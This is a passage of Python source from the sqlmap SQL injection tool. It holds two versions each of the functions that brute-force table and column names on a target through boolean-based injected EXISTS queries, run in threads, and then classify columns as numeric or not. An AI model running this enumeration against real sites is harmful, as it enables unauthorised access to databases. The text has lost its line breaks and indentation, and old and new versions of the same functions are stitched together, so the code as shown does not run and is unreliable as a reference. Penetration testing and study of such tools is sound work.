def tableExistsThread(): while count[0] < length and kb.threadContinue: tbllock.acquire() table = safeSQLIdentificatorNaming(tables[count[0]]) count[0] += 1 tbllock.release() if conf.db and not conf.db.endswith(METADB_SUFFIX): fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1), fullTableName))) iolock.acquire() if result and table.lower() not in items: retVal.append(table) items.add(table.lower()) dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\ kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\ safeFormatString(fullTableName))) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), table) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) iolock.release()
def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.countLock.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.countLock.release() else: kb.locks.countLock.release() break if conf.db and METADB_SUFFIX not in conf.db: fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.ioLock.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.outputs.append(table) threadData.shared.unique.add(table.lower()) dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\ kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\ safeFormatString(fullTableName))) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), table) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.ioLock.release()
def columnExists(columnFile, regex=None): if not conf.tbl: errMsg = "missing table parameter" raise sqlmapMissingMandatoryOptionException, errMsg columns = getFileItems(columnFile, unique=True) columns = filterListValue(columns, regex) if conf.db and not conf.db.endswith(METADB_SUFFIX): table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl) else: table = conf.tbl table = safeSQLIdentificatorNaming(table) retVal = [] infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) count = [0] length = len(columns) threads = [] collock = threading.Lock() iolock = threading.Lock() kb.threadContinue = True kb.bruteMode = True def columnExistsThread(): while count[0] < length and kb.threadContinue: collock.acquire() column = safeSQLIdentificatorNaming(columns[count[0]]) count[0] += 1 collock.release() result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table))) iolock.acquire() if result: retVal.append(column) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), column) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) iolock.release() if conf.threads > 1: infoMsg = "starting %d threads" % conf.threads logger.info(infoMsg) else: message = "please enter number of threads? [Enter for %d (current)] " % conf.threads choice = readInput(message, default=str(conf.threads)) if choice and choice.isdigit(): conf.threads = int(choice) if conf.threads == 1: warnMsg = "running in a single-thread mode. This could take a while." logger.warn(warnMsg) # Start the threads for numThread in range(conf.threads): thread = threading.Thread(target=columnExistsThread, name=str(numThread)) thread.start() threads.append(thread) # And wait for them to all finish try: alive = True while alive: alive = False for thread in threads: if thread.isAlive(): alive = True thread.join(5) except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True print logger.debug("waiting for threads to finish") warnMsg = "user aborted during common column existence check. " warnMsg += "sqlmap will display some columns only" logger.warn(warnMsg) try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" finally: kb.bruteMode = False kb.threadContinue = True kb.threadException = False clearConsoleLine(True) dataToStdout("\n") if not retVal: warnMsg = "no column found" logger.warn(warnMsg) else: columns = {} for column in retVal: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = 'numeric' else: columns[column] = 'non-numeric' dataToSessionFile("[%s][%s][%s][COLUMN_EXISTS][%s|%s %s]\n" % (conf.url, kb.injection.place,\ safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(table),\ safeFormatString(column), safeFormatString(columns[column]))) kb.data.cachedColumns[conf.db] = {conf.tbl: columns} return kb.data.cachedColumns
def columnExists(columnFile, regex=None): if not conf.tbl: errMsg = "missing table parameter" raise sqlmapMissingMandatoryOptionException, errMsg result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" raise sqlmapDataException, errMsg infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(__addPageTextWords()) columns = filterListValue(columns, regex) if conf.db and METADB_SUFFIX not in conf.db: table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl) else: table = conf.tbl table = safeSQLIdentificatorNaming(table, True) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.outputs = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.countLock.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.countLock.release() else: kb.locks.countLock.release() break result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.ioLock.acquire() if result: threadData.shared.outputs.append(column) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), column) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.ioLock.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.outputs: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.outputs: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = 'numeric' else: columns[column] = 'non-numeric' dataToSessionFile("[%s][%s][%s][COLUMN_EXISTS][%s|%s %s]\n" % (conf.url, kb.injection.place,\ safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(table),\ safeFormatString(column), safeFormatString(columns[column]))) kb.data.cachedColumns[conf.db] = {conf.tbl: columns} return kb.data.cachedColumns